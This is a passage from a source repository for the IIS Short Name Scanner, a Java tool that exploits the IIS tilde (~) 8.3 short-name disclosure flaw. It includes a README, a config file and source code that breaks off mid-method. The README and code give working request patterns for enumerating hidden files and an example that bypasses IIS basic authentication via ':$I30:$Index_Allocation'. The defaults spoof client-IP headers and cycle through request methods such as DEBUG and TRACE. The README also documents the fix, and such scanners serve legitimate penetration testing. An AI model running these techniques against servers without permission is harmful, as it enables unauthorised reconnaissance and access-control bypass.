├── META-INF └── MANIFEST.MF ├── run.bat ├── IIS_shortname_scanner.jar ├── bin ├── IIS_ShortName_Scanner$1.class ├── IIS_ShortName_Scanner$2.class ├── IIS_ShortName_Scanner$3.class ├── IIS_ShortName_Scanner$4.class ├── IIS_ShortName_Scanner$5.class ├── IIS_ShortName_Scanner$6.class ├── IIS_ShortName_Scanner.class ├── IIS_ShortName_Scanner$ThreadPool.class └── IIS_ShortName_Scanner$ThreadPool$PooledThread.class ├── .classpath ├── .settings └── org.eclipse.jdt.core.prefs ├── .project ├── .externalToolBuilders └── Jar Builder.launch ├── config.xml ├── README.md └── src └── IIS_ShortName_Scanner.java /META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: IIS_ShortName_Scanner 3 | 4 | -------------------------------------------------------------------------------- /run.bat: -------------------------------------------------------------------------------- 1 | REM javac.exe scanner.java 2 | REM java scanner 3 | 4 | java -jar IIS_shortname_scanner.jar -------------------------------------------------------------------------------- /IIS_shortname_scanner.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/IIS-ShortName-Scanner/master/IIS_shortname_scanner.jar -------------------------------------------------------------------------------- /bin/IIS_ShortName_Scanner$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/IIS-ShortName-Scanner/master/bin/IIS_ShortName_Scanner$1.class -------------------------------------------------------------------------------- /bin/IIS_ShortName_Scanner$2.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/IIS-ShortName-Scanner/master/bin/IIS_ShortName_Scanner$2.class -------------------------------------------------------------------------------- /bin/IIS_ShortName_Scanner$3.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/IIS-ShortName-Scanner/master/bin/IIS_ShortName_Scanner$3.class -------------------------------------------------------------------------------- /bin/IIS_ShortName_Scanner$4.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/IIS-ShortName-Scanner/master/bin/IIS_ShortName_Scanner$4.class -------------------------------------------------------------------------------- /bin/IIS_ShortName_Scanner$5.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/IIS-ShortName-Scanner/master/bin/IIS_ShortName_Scanner$5.class -------------------------------------------------------------------------------- /bin/IIS_ShortName_Scanner$6.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/IIS-ShortName-Scanner/master/bin/IIS_ShortName_Scanner$6.class -------------------------------------------------------------------------------- /bin/IIS_ShortName_Scanner.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/IIS-ShortName-Scanner/master/bin/IIS_ShortName_Scanner.class -------------------------------------------------------------------------------- /bin/IIS_ShortName_Scanner$ThreadPool.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/IIS-ShortName-Scanner/master/bin/IIS_ShortName_Scanner$ThreadPool.class -------------------------------------------------------------------------------- /bin/IIS_ShortName_Scanner$ThreadPool$PooledThread.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/product/IIS-ShortName-Scanner/master/bin/IIS_ShortName_Scanner$ThreadPool$PooledThread.class -------------------------------------------------------------------------------- /.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled 3 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.7 4 | org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve 5 | org.eclipse.jdt.core.compiler.compliance=1.7 6 | org.eclipse.jdt.core.compiler.debug.lineNumber=generate 7 | org.eclipse.jdt.core.compiler.debug.localVariable=generate 8 | org.eclipse.jdt.core.compiler.debug.sourceFile=generate 9 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error 10 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error 11 | org.eclipse.jdt.core.compiler.source=1.7 12 | -------------------------------------------------------------------------------- /.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | IISShortNameScanner 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | org.eclipse.ui.externaltools.ExternalToolBuilder 15 | auto,full,incremental, 16 | 17 | 18 | LaunchConfigHandle 19 | <project>/.externalToolBuilders/Jar Builder.launch 20 | 21 | 22 | 23 | 24 | 25 | org.eclipse.jdt.core.javanature 26 | 27 | 28 | -------------------------------------------------------------------------------- /.externalToolBuilders/Jar Builder.launch: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | IIS Short File/Folder Name (8.3) Scanner - Configuration File 5 | 6 | false 7 | 8 | 9 | 10 | 11 | IIS_Tilde_Scanner=1; 12 | 13 | 14 | @@ 15 | X-Forwarded-For: 127.0.0.1@@X-Originating-IP: 127.0.0.1@@X-Cluster-Client-Ip: 127.0.0.1 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 20000 26 | 27 | 10 28 | 29 | 30 | 31 | 32 | 33 | 34 | 0 35 | 36 | , 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 10 55 | 56 | , 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | IIS Short Name Scanner v2.3.1 2 | ===================== 3 | The latest version of scanner for IIS short file name (8.3) disclosure vulnerability by using the tilde (~) character. 4 | 5 | Description 6 | ------------- 7 | Microsoft IIS contains a flaw that may lead to an unauthorized information disclosure. The issue is triggered during the parsing of a request that contains a tilde character (~). This may allow a remote attacker to gain access to file and folder name information. 8 | 9 | This scanner was moved from https://code.google.com/p/iis-shortname-scanner-poc/ to GitHub for better support. 10 | 11 | Original research file: http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf 12 | 13 | It is possible to detect short names of files and directories which have an 8.3 equivalent in Windows by using some vectors in several versions of Microsoft IIS. For instance, it is possible to detect all short-names of “.aspx” files as they have 4 letters in their extensions. 14 | 15 | Note: new techniques have been introduced to the latest versions of this scanner and it can now scan IIS8.5 when it is vulnerable. 16 | 17 | It is not easy to find the original file or folder names based on the short names. However, the following methods are recommended as examples: 18 | - If you can guess the full extension (for instance .ASPX when the 8.3 extension is .ASP), always try the short name with the full extension. 19 | - Sometimes short names are listed in Google which can be used to find the actual names 20 | - Using text dictionary files is also recommended. If a name starts with another word, the second part should be guessed based on a dictionary file separately. For instance, ADDACC~1.ASP can be AddAccount.aspx, AddAccounts.aspx, AddAccurateMargine.aspx, etc 21 | - Searching in the website contents and resources can also be useful to find the full name. This can be achieved for example by searching Site Map in the Burp Suite tool. 22 | 23 | Installation 24 | -------------- 25 | It has been compiled by using JDK 7. You only need to download the following files if you do not want to build this yourself: 26 | - IIS_shortname_scanner.jar 27 | - config.xml 28 | - run.bat 29 | 30 | Remember to use Java v7. 31 | 32 | You can also compile this application yourself. Please submit any issues in GitHub for further investigation. 33 | It should be straight forward to open this project in Eclipse as well. 34 | 35 | Usage 36 | ------- 37 | 38 | ### Command line options 39 | 40 | USAGE 1 (To verify if the target is vulnerable with the default config file): 41 | java -jar IIS_shortname_scanner.jar [URL] 42 | 43 | 44 | USAGE 2 (To find 8.3 file names with the default config file): 45 | java -jar IIS_shortname_scanner.jar [ShowProgress] [ThreadNumbers] [URL] 46 | 47 | 48 | USAGE 3 (To verify if the target is vulnerable with a new config file): 49 | java -jar IIS_shortname_scanner.jar [URL] [configFile] 50 | 51 | 52 | USAGE 4 (To find 8.3 file names with a new config file): 53 | java -jar IIS_shortname_scanner.jar [ShowProgress] [ThreadNumbers] [URL] [configFile] 54 | 55 | DETAILS: 56 | [ShowProgress]: 0= Show final results only - 1= Show final results step by step - 2= Show Progress 57 | [ThreadNumbers]: 0= No thread - Integer Number = Number of concurrent threads [be careful about IIS Denial of Service] 58 | [URL]: A complete URL - starts with http/https protocol 59 | [configFile]: path to a new config file which is based on config.xml 60 | 61 | Examples: 62 | ``` 63 | - Example 0 (to see if the target is vulnerable): 64 | java -jar IIS_shortname_scanner.jar http://example.com/folder/ 65 | 66 | - Example 1 (uses no thread - very slow): 67 | java -jar IIS_shortname_scanner.jar 2 0 http://example.com/folder/new%20folder/ 68 | 69 | - Example 2 (uses 20 threads - recommended): 70 | java -jar IIS_shortname_scanner.jar 2 20 http://example.com/folder/new%20folder/ 71 | 72 | - Example 3 (saves output in a text file): 73 | java -jar IIS_shortname_scanner.jar 0 20 http://example.com/folder/new%20folder/ > c:\results.txt 74 | 75 | - Example 4 (bypasses IIS basic authentication): 76 | java -jar IIS_shortname_scanner.jar 2 20 http://example.com/folder/AuthNeeded:$I30:$Index_Allocation/ 77 | 78 | - Example 5 (using a new config file): 79 | java -jar IIS_shortname_scanner.jar 2 20 http://example.com/folder/ newconfig.xml 80 | ``` 81 | 82 | Note 1: Edit config.xml file to change the scanner settings and add additional headers. 83 | Note 2: Sometimes it does not work for the first time and you need to try again. 84 | 85 | 86 | How Does It Work? 87 | ------------------ 88 | In the following examples, IIS responds with a different message when a file exists: 89 | ``` 90 | http://target/folder/valid*~1.*/.aspx 91 | http://target/folder/invalid*~1.*/.aspx 92 | ``` 93 | 94 | However, different IIS servers may respond differently, and for instance some of them may work with the following or other similar patterns: 95 | ``` 96 | http://target/folder/valid*~1.*\.asp 97 | http://target/folder/invalid*~1.*\.asp 98 | ``` 99 | Method of sending the request such as GET, POST, OPTIONS, DEBUG, ... is also important. 100 | 101 | I believe monitoring the requests by using a proxy is the best way of understating this issue and this scanner. 102 | 103 | 104 | How To Fix This Issue 105 | ---------------------- 106 | Microsoft will not patch this security issue. Their last response is as follows: 107 | ``` 108 | Thank you for contacting the Microsoft Security Response Center. 109 | 110 | We appreciate your bringing this to our attention. Our previous guidance stands: deploy IIS with 8.3 names disabled. 111 | ``` 112 | 113 | Therefore, it is recommended to deploy IIS with 8.3 names disabled by creating the following registry key on a Windows operating system: 114 | ``` 115 | Key: HKLM\SYSTEM\CurrentControlSet\Control\FileSystem 116 | Name: NtfsDisable8dot3NameCreation 117 | Value: 1 118 | ``` 119 | 120 | Note: The web folder needs to be recreated, as the change to the NtfsDisable8dot3NameCreation registry entry affects only files and directories that are created after the change, so the files that already exist are not affected. 121 | 122 | 123 | References 124 | ------------ 125 | One of the new methods: https://soroush.secproject.com/blog/2014/08/iis-short-file-name-disclosure-is-back-is-your-server-vulnerable/ 126 | 127 | Original research file: http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf 128 | 129 | Website Reference: http://soroush.secproject.com/blog/2012/06/microsoft-iis-tilde-character-vulnerabilityfeature-short-filefolder-name-disclosure/ 130 | 131 | Video Link: http://www.youtube.com/watch?v=XOd90yCXOP4 132 | 133 | http://www.osvdb.org/83771 134 | 135 | http://www.exploit-db.com/exploits/19525/ 136 | 137 | http://securitytracker.com/id?1027223 138 | 139 | 140 | -------------------------------------------------------------------------------- /src/IIS_ShortName_Scanner.java: -------------------------------------------------------------------------------- 1 | import java.io.Console; 2 | import java.lang.reflect.Field; 3 | import java.net.*; 4 | import java.util.*; 5 | 6 | import javax.net.ssl.*; 7 | 8 | import java.io.File; 9 | import java.io.FileInputStream; 10 | import java.io.FileNotFoundException; 11 | import java.io.IOException; 12 | import java.util.Enumeration; 13 | import java.util.Properties; 14 | 15 | public class IIS_ShortName_Scanner { 16 | /* Do not change the below lines if it's Greek to you!*/ 17 | 18 | private static boolean debugMode; 19 | private static String customUserAgent; 20 | private static String customCookie; 21 | private static String additionalQuery; 22 | private static String scanList; 23 | private static int maxConnectionTimeOut; 24 | private static int maxRetryTimes; 25 | private static String proxyServerName; 26 | private static Integer proxyServerPort; 27 | private static Long maxDelayAfterEachRequest; 28 | private static String questionMarkSymbol; 29 | private static String asteriskSymbol; 30 | private static String magicFileName; 31 | private static String magicFileExtension; 32 | private static String[] magicFinalPartList; 33 | private static String[] additionalHeaders; 34 | private static String[] requestMethod; 35 | private static int acceptableDifferenceLengthBetweenResponses; 36 | private static boolean onlyCheckForVulnerableSite = false; 37 | private static String configFile = "config.xml"; 38 | private final static String strVersion = "2.3.1 - 28October2014"; 39 | public Set finalResultsFiles = new TreeSet(); 40 | public Set finalResultsDirs = new TreeSet(); 41 | private static String[] arrayScanList; 42 | private String[] arrayScanListExt; 43 | private String[] arrayScanListName; 44 | private Set scanListName = new TreeSet(); 45 | private Set scanListExtension = new TreeSet(); 46 | private final static String[] marker = {"[-]", "[\\]", "[|]", "[/]"}; // To show the progress 47 | private static String destURL; 48 | private static int showProgress; 49 | private static int concurrentThreads; 50 | private String magicFinalPart; 51 | private String reliableRequestMethod; 52 | private String validStatus = ""; 53 | private String invalidStatus = ""; 54 | private boolean boolIsQuestionMarkReliable = false; 55 | private boolean boolIsExtensionReliable = false; 56 | private int threadCounter = 0; 57 | private ThreadPool threadPool = new ThreadPool(0); 58 | private long reqCounter = 0; 59 | private Proxy proxy; 60 | private int sleepTime = 2; // 2 seconds sleep when we have network error! 61 | private boolean boolIsNetworkReliable = true; 62 | private static String nameStartsWith; 63 | private static String extStartsWith; 64 | 65 | public static void main(String[] args) throws Exception { 66 | // Get URL from input! 67 | IIS_ShortName_Scanner obj = new IIS_ShortName_Scanner(); 68 | 69 | try { 70 | if (args.length<=4) { 71 | Console console = System.console(); 72 | String url = ""; 73 | if (args.length == 0) { 74 | // To help users to select proper values after execution 75 | showUsage(); 76 | if(console!=null){ 77 | url = console.readLine("What is the target (e.g. http://localhost:8080/folder/)? "); 78 | if(!url.equals("") && url.length()>5){ 79 | 80 | String _hasnewConfigFile = ""; 81 | 82 | _hasnewConfigFile = console.readLine("Do you want to use a new config file [Y=Yes, Anything Else=No]? "); 83 | if(_hasnewConfigFile.toLowerCase().equals("y")||_hasnewConfigFile.toLowerCase().equals("yes")){ 84 | String _newConfigFile = console.readLine("New config file?"); 85 | if(!_newConfigFile.equals("")) 86 | configFile = _newConfigFile; 87 | } 88 | 89 | String _onlyCheckForVulnerableSiteString = ""; 90 | _onlyCheckForVulnerableSiteString = console.readLine("Do you want to only verify whether or not the target is vulnerable " 91 | + "without scanning it thoroughly [Y=Yes, Anything Else=No]? "); 92 | if(_onlyCheckForVulnerableSiteString.toLowerCase().equals("y")||_onlyCheckForVulnerableSiteString.toLowerCase().equals("yes")){ 93 | onlyCheckForVulnerableSite = true; 94 | showProgress = 2; 95 | concurrentThreads = 0; 96 | }else{ 97 | String _scanMode = "0"; 98 | _scanMode = console.readLine("Scan Mode [0=Show final results only, 1=Show final results step by step, 2=Show Progress (default)]? "); 99 | switch(_scanMode){ 100 | case "0": 101 | showProgress = 0; 102 | break; 103 | case "1": 104 | showProgress = 1; 105 | break; 106 | default: 107 | showProgress = 2; 108 | } 109 | 110 | 111 | String _concurrentThreadsString = "20"; 112 | _concurrentThreadsString = console.readLine("Number of threads [0-50 (20 default)]? "); 113 | if(!_concurrentThreadsString.equals("") && obj.isInteger(_concurrentThreadsString)){ 114 | int _concurrentThreads = Integer.parseInt(_concurrentThreadsString); 115 | if(_concurrentThreads>= 0 && _concurrentThreads <= 50){ 116 | concurrentThreads = _concurrentThreads; 117 | }else 118 | { 119 | concurrentThreads = 20; 120 | } 121 | }else{ 122 | concurrentThreads = 20; 123 | } 124 | } 125 | 126 | } 127 | } 128 | }else{ 129 | 130 | // new custom config file 131 | if(args.length==2 || args.length==4){ 132 | configFile = args[args.length-1]; 133 | } 134 | 135 | if(args.length==1 || args.length==2){ 136 | // Only check for a vulnerable target 137 | onlyCheckForVulnerableSite = true; 138 | url = args[0]; 139 | showProgress = 2; 140 | concurrentThreads = 0; 141 | }else{ 142 | // Full Scan Mode 143 | if (args[0].equals("0")) { 144 | showProgress = 0; // Just show the final results 145 | } else if (args[0].equals("1")) { 146 | showProgress = 1; // Just show the findings one by one 147 | } else { 148 | showProgress = 2; // Show progress 149 | } 150 | concurrentThreads = Integer.parseInt(args[1]); 151 | if (concurrentThreads < 0) { 152 | concurrentThreads = 0; 153 | } 154 | 155 | if (concurrentThreads > 0 && showProgress == 2) { 156 | //showProgress = 1; // Show progress may not work beautifully in Multithread mode but I like it! 157 | } 158 | 159 | url = args[2]; 160 | } 161 | } 162 | 163 | // Basic check for the URL 164 | if(url.length()<8) throw new Exception("URL is too short!"); // URL is too short 165 | if(url.indexOf("?")>0) 166 | url = url.substring(0, url.indexOf("?")); 167 | if(url.indexOf(";")>0) 168 | url = url.substring(0, url.indexOf(";")); 169 | if(!url.endsWith("/") && url.lastIndexOf("/")<8) 170 | url += "/"; // add slash after the domain to the root dir 171 | if(!url.endsWith("/")) 172 | System.out.println("\r\nWARNING: URL does not end with a slash character (/) - last folder will be ignored!"); 173 | if(!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) 174 | System.out.println("WARNING: URL does not start with HTTP:// or HTTPS:// protocol - this may fail the scanner completely!"); 175 | System.out.println(); 176 | 177 | url = url.substring(0, url.lastIndexOf("/")+1); 178 | if(url.length()<8) throw new Exception(); // URL is too short 179 | 180 | // Load the config file 181 | System.out.println("-- Current Configuration -- Begin"); 182 | System.out.println("Target: " + url); 183 | System.out.println("Scan Mode: " + showProgress); 184 | System.out.println("Number of threads: " + concurrentThreads); 185 | System.out.println("Config file: " + configFile); 186 | System.out.println("Scanner version: " + strVersion); 187 | loadConfig(); 188 | System.out.println("-- Current Configuration -- End"); 189 | 190 | arrayScanList = scanList.split(""); 191 | 192 | // Delay after each request 193 | if(maxDelayAfterEachRequest==0){ 194 | String delayMilliseconds = "0"; 195 | if(console!=null){ 196 | delayMilliseconds = console.readLine("How much delay do you want after each request in milliseconds [default=0]? "); 197 | if(!delayMilliseconds.equals("") && obj.isLong(delayMilliseconds)){ 198 | maxDelayAfterEachRequest = Long.parseLong(delayMilliseconds); 199 | if(maxDelayAfterEachRequest<0){ 200 | maxDelayAfterEachRequest = (long) 0; 201 | } 202 | } 203 | } 204 | } 205 | System.out.println("Max delay after each request in milliseconds = " + String.valueOf(maxDelayAfterEachRequest)); 206 | 207 | // Proxy server setting 208 | String hasProxy = "No"; 209 | if(proxyServerName=="" || proxyServerPort ==0){ 210 | if(console!=null){ 211 | hasProxy = console.readLine("Do you want to use proxy [Y=Yes, Anything Else=No]? "); 212 | if(hasProxy.toLowerCase().equals("y")||hasProxy.toLowerCase().equals("yes")){ 213 | String _proxyServerName = console.readLine("Proxy server Name? "); 214 | 215 | String _proxyServerPort = "0"; 216 | if(!_proxyServerName.equals("")){ 217 | _proxyServerPort = console.readLine("Proxy server port? "); 218 | if(!_proxyServerPort.equals("") && obj.isInteger(_proxyServerPort)){ 219 | // We can set the proxy server now 220 | proxyServerName = _proxyServerName; 221 | proxyServerPort = Integer.parseInt(_proxyServerPort); 222 | if(proxyServerPort<=0 || proxyServerPort>65535){ 223 | proxyServerName = ""; 224 | proxyServerPort = 0; 225 | } 226 | } 227 | } 228 | } 229 | } 230 | } 231 | 232 | if(!proxyServerName.equals("")) 233 | System.out.println("\rProxy Server:"+proxyServerName+":"+String.valueOf(proxyServerPort)+"\r\n"); 234 | else 235 | System.out.println("\rNo proxy has been used.\r\n"); 236 | 237 | // Beginning... 238 | Date start_date = new Date(); 239 | System.out.println("\rScanning...\r\n"); 240 | // Start scanning ... 241 | obj.doScan(url); 242 | Date end_date = new Date(); 243 | long l1 = start_date.getTime(); 244 | long l2 = end_date.getTime(); 245 | long difference = l2 - l1; 246 | 247 | 248 | // ...Finished 249 | System.out.println("\r\n\rFinished in: " + difference / 1000 + " second(s)"); 250 | 251 | if(console!=null && args.length==0){ 252 | // pause for output 253 | console.readLine("\r\nPress ENTER to quit..."); 254 | } 255 | } else { 256 | showUsage(); 257 | } 258 | 259 | } catch (Exception err) { 260 | if (debugMode) { 261 | err.printStackTrace(); 262 | }else{ 263 | if(System.console()!=null) System.err.println("An error has occured: " + err.getMessage()); 264 | if (args.length != 0) showUsage(); 265 | } 266 | } 267 | } 268 | 269 | private static void loadConfig() throws Exception{ 270 | try { 271 | File file = new File(configFile); 272 | FileInputStream fileInput = new FileInputStream(file); 273 | Properties properties = new Properties(); 274 | 275 | properties.loadFromXML(fileInput); 276 | fileInput.close(); 277 | 278 | Enumeration enuKeys = properties.keys(); 279 | String additionalHeadersDelimiter = ""; 280 | String additionalHeadersString = ""; 281 | String magicFinalPartDelimiter = ""; 282 | String magicFinalpartStringList = ""; 283 | String requestMethodDelimiter = ""; 284 | String requestMethodString = ""; 285 | 286 | while (enuKeys.hasMoreElements()) { 287 | String key = (String) enuKeys.nextElement(); 288 | String value = properties.getProperty(key); 289 | 290 | switch(key.toLowerCase()){ 291 | case "debug": 292 | try{ 293 | debugMode = Boolean.parseBoolean(properties.getProperty(key)); 294 | }catch(Exception e){ 295 | debugMode = false; 296 | } 297 | break; 298 | case "useragent": 299 | customUserAgent = properties.getProperty(key,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10"); 300 | break; 301 | case "cookies": 302 | customCookie = properties.getProperty(key,"IIS_ShortName_Scanner=1"); 303 | break; 304 | case "headersdelimiter": 305 | additionalHeadersDelimiter = properties.getProperty(key,"@@"); 306 | break; 307 | case "headers": 308 | additionalHeadersString = properties.getProperty(key,"X-Forwarded-For: 127.0.0.1@@X-Originating-IP: 127.0.0.1@@X-Cluster-Client-Ip: 127.0.0.1"); 309 | break; 310 | case "urlsuffix": 311 | additionalQuery = properties.getProperty(key,"?&aspxerrorpath=/"); 312 | break; 313 | case "inscopecharacters": 314 | scanList = properties.getProperty(key,"ETAONRISHDLFCMUGYPWBVKJXQZ0123456789!#$%&'()-@^_`{}~"); 315 | break; 316 | case "maxconnectiontimeout": 317 | try{ 318 | maxConnectionTimeOut = Integer.parseInt(properties.getProperty(key,"20000")); 319 | }catch(Exception e){ 320 | maxConnectionTimeOut = 20000; 321 | } 322 | break; 323 | case "maxretrytimes": 324 | try{ 325 | maxRetryTimes = Integer.parseInt(properties.getProperty(key,"10")); 326 | }catch(Exception e){ 327 | maxRetryTimes = 10; 328 | } 329 | break; 330 | case "proxyservername": 331 | proxyServerName = properties.getProperty(key,""); 332 | break; 333 | case "proxyserverport": 334 | try{ 335 | proxyServerPort = Integer.parseInt(properties.getProperty(key,"0")); 336 | }catch(Exception e){ 337 | proxyServerPort = 0; 338 | } 339 | break; 340 | case "maxdelayaftereachrequest": 341 | try{ 342 | maxDelayAfterEachRequest = Long.parseLong(properties.getProperty(key,"0")); 343 | }catch(Exception e){ 344 | maxDelayAfterEachRequest = (long) 0; 345 | } 346 | break; 347 | case "magicfinalpartdelimiter": 348 | magicFinalPartDelimiter = properties.getProperty(key,","); 349 | break; 350 | case "magicfinalpartlist": 351 | magicFinalpartStringList = properties.getProperty(key,"\\a.asp,/a.asp,\\a.aspx,/a.aspx,/a.shtml,/a.asmx,/a.ashx,/a.config,/a.php,/a.jpg,,/a.xxx"); 352 | break; 353 | case "questionmarksymbol": 354 | questionMarkSymbol = properties.getProperty(key,"?"); 355 | break; 356 | case "asterisksymbol": 357 | asteriskSymbol = properties.getProperty(key,"*"); 358 | break; 359 | case "magicfilename": 360 | magicFileName = properties.getProperty(key,"*~1*"); 361 | break; 362 | case "magicfileextension": 363 | magicFileExtension = properties.getProperty(key,"*"); 364 | break; 365 | case "requestmethoddelimiter": 366 | requestMethodDelimiter = properties.getProperty(key,","); 367 | break; 368 | case "requestmethod": 369 | requestMethodString = properties.getProperty(key,"OPTIONS,GET,POST,HEAD,TRACE,TRACK,DEBUG"); 370 | break; 371 | case "acceptabledifferencelengthbetweenresponses": 372 | try{ 373 | acceptableDifferenceLengthBetweenResponses = Integer.parseInt(properties.getProperty(key,"10")); 374 | }catch(Exception e){ 375 | acceptableDifferenceLengthBetweenResponses = -1; 376 | } 377 | break; 378 | case "namestartswith": 379 | nameStartsWith = properties.getProperty(key,""); 380 | if(nameStartsWith.length()>5){ 381 | nameStartsWith = nameStartsWith.substring(0, 5); 382 | } 383 | break; 384 | case "extstartswith": 385 | extStartsWith = properties.getProperty(key,""); 386 | if(extStartsWith.length()>2){ 387 | extStartsWith = extStartsWith.substring(0, 3); 388 | } 389 | break; 390 | default: 391 | System.out.println("Unknown item in config file: " + key); 392 | } 393 | if(value=="") value = "Default"; 394 | System.out.println(key + ": " + value); 395 | } 396 | 397 | additionalHeaders = additionalHeadersString.split(additionalHeadersDelimiter); 398 | magicFinalPartList = magicFinalpartStringList.split(magicFinalPartDelimiter); 399 | requestMethod = requestMethodString.split(requestMethodDelimiter); 400 | 401 | } catch (FileNotFoundException e) { 402 | System.err.println("Error: config file was not found: " + configFile); 403 | throw new Exception(); 404 | } catch (IOException e) { 405 | System.err.println("Error in loading config file: " + configFile); 406 | throw new Exception(); 407 | } 408 | } 409 | 410 | private static void showUsage() { 411 | char[] delim = new char[120]; 412 | Arrays.fill(delim, '*'); 413 | System.out.println(""); 414 | System.out.println(String.valueOf(delim)); 415 | 416 | System.out.println(" _____ _____ _____ _____ _ _ _ _ _____ \r\n" 417 | +"|_ _|_ _/ ___| / ___| | | | | \\ | | / ___| \r\n" 418 | +" | | | | \\ `--. \\ `--.| |__ ___ _ __| |_ | \\| | __ _ _ __ ___ ___ \\ `--. ___ __ _ _ __ _ __ ___ _ __ \r\n" 419 | +" | | | | `--. \\ `--. \\ '_ \\ / _ \\| '__| __| | . ` |/ _` | '_ ` _ \\ / _ \\ `--. \\/ __/ _` | '_ \\| '_ \\ / _ \\ '__|\r\n" 420 | +" _| |_ _| |_/\\__/ / /\\__/ / | | | (_) | | | |_ | |\\ | (_| | | | | | | __/ /\\__/ / (_| (_| | | | | | | | __/ | \r\n" 421 | +" \\___/ \\___/\\____/ \\____/|_| |_|\\___/|_| \\__| \\_| \\_/\\__,_|_| |_| |_|\\___| \\____/ \\___\\__,_|_| |_|_| |_|\\___|_| \r\n"); 422 | System.out.println("\r\n* IIS Short Name (8.3) Scanner \r\n* by Soroush Dalili - @irsdl"); 423 | System.out.println("* Version: " + strVersion); 424 | System.out.println("* WARNING: You are only allowed to run the scanner against the websites which you have given permission to scan.\r\n" 425 | + " We do not accept any responsibility for any damage/harm that this application causes to your computer,\r\n" 426 | + " or your network as it is only a proof of concept and may lead to unknown issues.\r\n" 427 | + " It is your responsibility to use this code legally and you are not allowed to sell this code in any way.\r\n" 428 | + " The programmer is not responsible for any illegal or malicious use of this code. Be Ethical! \r\n"); 429 | 430 | System.out.println(String.valueOf(delim)); 431 | System.out.println("\r\nUSAGE 1 (To verify if the target is vulnerable with the default config file):\r\n java -jar IIS_shortname_scanner.jar [URL]\r\n"); 432 | System.out.println("\r\nUSAGE 2 (To find 8.3 file names with the default config file):\r\n java -jar IIS_shortname_scanner.jar [ShowProgress] [ThreadNumbers] [URL]\r\n"); 433 | System.out.println("\r\nUSAGE 3 (To verify if the target is vulnerable with a new config file):\r\n java -jar IIS_shortname_scanner.jar [URL] [configFile]\r\n"); 434 | System.out.println("\r\nUSAGE 4 (To find 8.3 file names with a new config file):\r\n java -jar IIS_shortname_scanner.jar [ShowProgress] [ThreadNumbers] [URL] [configFile]\r\n"); 435 | System.out.println("DETAILS:"); 436 | System.out.println(" [ShowProgress]: 0= Show final results only - 1= Show final results step by step - 2= Show Progress"); 437 | System.out.println(" [ThreadNumbers]: 0= No thread - Integer Number = Number of concurrent threads [be careful about IIS Denial of Service]"); 438 | System.out.println(" [URL]: A complete URL - starts with http/https protocol"); 439 | System.out.println(" [configFile]: path to a new config file which is based on config.xml\r\n\r\n"); 440 | System.out.println("- Example 0 (to see if the target is vulnerable):\r\n java -jar IIS_shortname_scanner.jar http://example.com/folder/\r\n"); 441 | System.out.println("- Example 1 (uses no thread - very slow):\r\n java -jar IIS_shortname_scanner.jar 2 0 http://example.com/folder/new%20folder/\r\n"); 442 | System.out.println("- Example 2 (uses 20 threads - recommended):\r\n java -jar IIS_shortname_scanner.jar 2 20 http://example.com/folder/new%20folder/\r\n"); 443 | System.out.println("- Example 3 (saves output in a text file):\r\n java -jar IIS_shortname_scanner.jar 0 20 http://example.com/folder/new%20folder/ > c:\\results.txt\r\n"); 444 | System.out.println("- Example 4 (bypasses IIS basic authentication):\r\n java -jar IIS_shortname_scanner.jar 2 20 http://example.com/folder/AuthNeeded:$I30:$Index_Allocation/\r\n"); 445 | System.out.println("- Example 5 (using a new config file):\r\n java -jar IIS_shortname_scanner.jar 2 20 http://example.com/folder/ newconfig.xml \r\n"); 446 | System.out.println("Note 1: Edit config.xml file to change the scanner settings and add additional headers."); 447 | System.out.println("Note 2: Sometimes it does not work for the first time and you need to try again."); 448 | System.out.println(String.valueOf(delim)); 449 | } 450 | 451 | private void doScan(String url) throws Exception { 452 | destURL = url; 453 | magicFileName = magicFileName.replace("*", asteriskSymbol); 454 | magicFileExtension = magicFileExtension.replace("*", asteriskSymbol); 455 | 456 | boolean isReliableResult = false; 457 | // Create the proxy string 458 | if(!proxyServerName.equals("") && !proxyServerPort.equals("")){ 459 | proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxyServerName, proxyServerPort)); 460 | } 461 | 462 | for(String s1:magicFinalPartList){ 463 | for(String s2:requestMethod){ 464 | magicFinalPart = s1; 465 | reliableRequestMethod = s2; 466 | System.out.println("Testing request method: \"" + s2 + "\" with magic part: \""+ s1 + "\" ..."); 467 | isReliableResult = isReliable(); 